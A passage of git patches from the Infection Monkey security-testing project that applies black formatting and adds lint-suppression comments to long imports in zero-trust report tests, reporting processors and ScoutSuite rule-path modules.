zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 2 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, ) # data failed 3 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 4 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 5 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, ) # data verify 1 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY ) # data verify 2 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY ) # data passed 1 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_PASSED, + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_PASSED, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 375dbd98926..37d432bf402 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -37,22 +37,22 @@ def test_get_all_findings(): description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED] expected_finding0 = EnrichedFinding( - finding_id=findings[0].finding_id, - pillars=[DEVICES, NETWORKS], - status=STATUS_FAILED, - test=description, - test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, - details=None, + finding_id=findings[0].finding_id, + pillars=[DEVICES, NETWORKS], + status=STATUS_FAILED, + test=description, + test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, + details=None, ) description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED] expected_finding1 = EnrichedFinding( - finding_id=findings[1].finding_id, - pillars=[DEVICES], - status=STATUS_PASSED, - test=description, - test_key=TEST_ENDPOINT_SECURITY_EXISTS, - details=None, + finding_id=findings[1].finding_id, + pillars=[DEVICES], + status=STATUS_PASSED, + test=description, + test_key=TEST_ENDPOINT_SECURITY_EXISTS, + details=None, ) # Don't test details diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index f73bd73964d..36691e00e83 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -13,8 +13,7 @@ WORKLOADS, ) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data \ - import ( +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( save_example_findings, ) from monkey_island.cc.test_common.fixtures import FixtureEnum @@ -31,62 +30,62 @@ def test_get_pillars_grades(): def _get_expected_pillar_grades() -> List[dict]: return [ { - zero_trust_consts.STATUS_FAILED:5, - zero_trust_consts.STATUS_VERIFY:2, - zero_trust_consts.STATUS_PASSED:1, + zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 1, # 2 different tests of DATA pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(DATA) - 2, - "pillar":"Data", + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, + "pillar": "Data", }, { - zero_trust_consts.STATUS_FAILED:0, - zero_trust_consts.STATUS_VERIFY:2, - zero_trust_consts.STATUS_PASSED:0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, # 1 test of PEOPLE pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(PEOPLE) - 1, - "pillar":"People", + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, + "pillar": "People", }, { - zero_trust_consts.STATUS_FAILED:0, - zero_trust_consts.STATUS_VERIFY:2, - zero_trust_consts.STATUS_PASSED:0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, # 1 different tests of NETWORKS pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(NETWORKS) - 1, - "pillar":"Networks", + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, + "pillar": "Networks", }, { - zero_trust_consts.STATUS_FAILED:1, - zero_trust_consts.STATUS_VERIFY:0, - zero_trust_consts.STATUS_PASSED:2, + zero_trust_consts.STATUS_FAILED: 1, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 2, # 1 different tests of DEVICES pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(DEVICES) - 1, - "pillar":"Devices", + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, + "pillar": "Devices", }, { - zero_trust_consts.STATUS_FAILED:0, - zero_trust_consts.STATUS_VERIFY:0, - zero_trust_consts.STATUS_PASSED:0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of WORKLOADS pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(WORKLOADS), - "pillar":"Workloads", + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), + "pillar": "Workloads", }, { - zero_trust_consts.STATUS_FAILED:0, - zero_trust_consts.STATUS_VERIFY:0, - zero_trust_consts.STATUS_PASSED:0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), - "pillar":"Visibility & Analytics", + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), + "pillar": "Visibility & Analytics", }, { - zero_trust_consts.STATUS_FAILED:0, - zero_trust_consts.STATUS_VERIFY:0, - zero_trust_consts.STATUS_PASSED:0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED:_get_cnt_of_tests_in_pillar( - AUTOMATION_ORCHESTRATION + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar( + AUTOMATION_ORCHESTRATION ), - "pillar":"Automation & Orchestration", + "pillar": "Automation & Orchestration", }, ] @@ -102,25 +101,25 @@ def _get_cnt_of_tests_in_pillar(pillar: str): def test_get_pillars_to_statuses(): # Test empty database expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.NETWORKS:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.PEOPLE:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.VISIBILITY_ANALYTICS:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA:zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED, } assert PillarService._get_pillars_to_statuses() == expected # Test with example finding set save_example_findings() expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES:zero_trust_consts.STATUS_FAILED, - zero_trust_consts.NETWORKS:zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.PEOPLE:zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.VISIBILITY_ANALYTICS:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS:zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA:zero_trust_consts.STATUS_FAILED, + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED, } assert PillarService._get_pillars_to_statuses() == expected diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 446cc5b375b..7eb6b19cd7a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -11,28 +11,28 @@ from monkey_island.cc.test_common.fixtures import FixtureEnum EXPECTED_DICT = { - "test_pillar1":[ + "test_pillar1": [ { - "principle":"Test principle description2", - "status":zero_trust_consts.STATUS_FAILED, - "tests":[ - {"status":zero_trust_consts.STATUS_PASSED, "test":"You ran a test2"}, - {"status":zero_trust_consts.STATUS_FAILED, "test":"You ran a test3"}, + "principle": "Test principle description2", + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, + {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, ], } ], - "test_pillar2":[ + "test_pillar2": [ { - "principle":"Test principle description", - "status":zero_trust_consts.STATUS_PASSED, - "tests":[{"status":zero_trust_consts.STATUS_PASSED, "test":"You ran a test1"}], + "principle": "Test principle description", + "status": zero_trust_consts.STATUS_PASSED, + "tests": [{"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test1"}], }, { - "principle":"Test principle description2", - "status":zero_trust_consts.STATUS_FAILED, - "tests":[ - {"status":zero_trust_consts.STATUS_PASSED, "test":"You ran a test2"}, - {"status":zero_trust_consts.STATUS_FAILED, "test":"You ran a test3"}, + "principle": "Test principle description2", + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, + {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, ], }, ], @@ -46,27 +46,27 @@ def test_get_principles_status(): zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) principles_to_tests = { - "network_policies":["segmentation"], - "endpoint_security":["tunneling", "scoutsuite_service_security"], + "network_policies": ["segmentation"], + "endpoint_security": ["tunneling", "scoutsuite_service_security"], } zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests principles_to_pillars = { - "network_policies":{"test_pillar2"}, - "endpoint_security":{"test_pillar1", "test_pillar2"}, + "network_policies": {"test_pillar2"}, + "endpoint_security": {"test_pillar1", "test_pillar2"}, } zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars principles = { - "network_policies":"Test principle description", - "endpoint_security":"Test principle description2", + "network_policies": "Test principle description", + "endpoint_security": "Test principle description2", } zero_trust_consts.PRINCIPLES = principles tests_map = { - "segmentation":{"explanation":"You ran a test1"}, - "tunneling":{"explanation":"You ran a test2"}, - "scoutsuite_service_security":{"explanation":"You ran a test3"}, + "segmentation": {"explanation": "You ran a test1"}, + "tunneling": {"explanation": "You ran a test2"}, + "scoutsuite_service_security": {"explanation": "You ran a test3"}, } zero_trust_consts.TESTS_MAP = tests_map diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py index bf6f627ba73..a03c554be52 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup.py @@ -20,7 +20,7 @@ def try_store_mitigations_on_mongo(): mongo.db.validate_collection(mitigation_collection_name) if mongo.db.attack_mitigations.count() == 0: raise errors.OperationFailure( - "Mitigation collection empty. Try dropping the collection and running again" + "Mitigation collection empty. Try dropping the collection and running again" ) except errors.OperationFailure: try: @@ -34,18 +34,18 @@ def try_store_mitigations_on_mongo(): def store_mitigations_on_mongo(): stix2_mitigations = MitreApiInterface.get_all_mitigations() mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns( - MitreApiInterface.get_all_attack_techniques() + MitreApiInterface.get_all_attack_techniques() ) mitigation_technique_relationships = ( MitreApiInterface.get_technique_and_mitigation_relationships() ) for relationship in mitigation_technique_relationships: mongo_mitigations[relationship["target_ref"]].add_mitigation( - stix2_mitigations[relationship["source_ref"]] + stix2_mitigations[relationship["source_ref"]] ) for relationship in mitigation_technique_relationships: mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info( - stix2_mitigations[relationship["source_ref"]] + stix2_mitigations[relationship["source_ref"]] ) for key, mongo_object in mongo_mitigations.items(): mongo_object.save() From 1c44ada9bb3a325a65c026674266cc538789d7a3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Apr 2021 14:19:40 +0300 Subject: [PATCH 0163/1360] Added noqa to long import which is the outcome of running black --- .../shell_startup_files_modification.py | 4 +-- .../cc/services/config_schema/internal.py | 3 +- .../exploiter_descriptor_enum.py | 8 ++--- .../processors/cred_exploit.py | 4 +-- .../exploit_processing/processors/exploit.py | 2 +- .../processors/shellshock_exploit.py | 2 +- .../processors/zerologon.py | 2 +- .../cc/services/reporting/report.py | 6 ++-- .../telemetry/processing/system_info.py | 2 +- .../test_environment.py | 2 +- .../test_system_info_telemetry_dispatcher.py | 2 +- .../scoutsuite/data_parsing/rule_parser.py | 2 +- .../cloudformation_rule_path_creator.py | 2 +- .../cloudtrail_rule_path_creator.py | 2 +- .../cloudwatch_rule_path_creator.py | 2 +- .../config_rule_path_creator.py | 2 +- .../ec2_rule_path_creator.py | 2 +- .../elb_rule_path_creator.py | 2 +- .../elbv2_rule_path_creator.py | 2 +- .../iam_rule_path_creator.py | 2 +- .../rds_rule_path_creator.py | 2 +- .../redshift_rule_path_creator.py | 2 +- .../s3_rule_path_creator.py | 2 +- .../ses_rule_path_creator.py | 2 +- .../sns_rule_path_creator.py | 2 +- .../sqs_rule_path_creator.py | 2 +- .../vpc_rule_path_creator.py | 2 +- .../rule_path_creators_list.py | 30 +++++++++---------- .../zero_trust_report/test_pillar_service.py | 2 +- 29 files changed, 51 insertions(+), 50 deletions(-) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py index 0be9ec3698d..0d14d9592e7 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py @@ -1,7 +1,7 @@ -from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( +from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( # noqa: E501 get_linux_commands_to_modify_shell_startup_files, ) -from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( +from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( # noqa: E501 get_windows_commands_to_modify_shell_startup_files, ) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 516771394ca..8c4132021ec 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -175,7 +175,8 @@ "title": "TCP scan timeout", "type": "integer", "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response", + "description": "Maximum time (in milliseconds) " + "to wait for TCP response", }, "tcp_scan_get_banner": { "title": "TCP scan - get banner", diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index e60886b34a0..849d8df1b73 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -2,16 +2,16 @@ from enum import Enum from typing import Type -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 CredExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 ShellShockExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501 ZerologonExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index 842fe9eb2eb..f7f4df67679 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,8 +1,8 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 CredentialType, ExploiterReportInfo, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index 1b29fc773c8..9dfb803caff 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,5 +1,5 @@ from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 ExploiterReportInfo, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index cd627eb5caf..9b7f8080223 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py index d9c9d7d495c..408e8cef64a 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 95a09ccd2a4..50381475cff 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -22,13 +22,13 @@ get_config_network_segments_as_subnet_groups, ) from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 ExploiterDescriptorEnum, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 CredentialType, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploiterReportInfo, ) from monkey_island.cc.services.reporting.pth_report import PTHReportService diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 065fb49829e..fa5413d4fc9 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -3,7 +3,7 @@ from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, ) from monkey_island.cc.services.wmi_handler import WMIHandler diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index f1e53d5f463..572dc5ac959 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -1,7 +1,7 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index 744d103703f..b1c9cbd965f 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -3,7 +3,7 @@ import pytest from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, process_aws_telemetry, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 134ed35008d..33967d019a3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -2,7 +2,7 @@ from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501 RULE_PATH_CREATORS_LIST, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index 3bff52d22ce..c8b4324344a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -2,7 +2,7 @@ CloudformationRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index 04ef53e7790..d3c061e4a3b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -2,7 +2,7 @@ CloudTrailRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index 93f4cfe43ca..d0fb8ad06e9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -2,7 +2,7 @@ CloudWatchRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index 21e9af9a17a..cef82fb729e 100644 --- 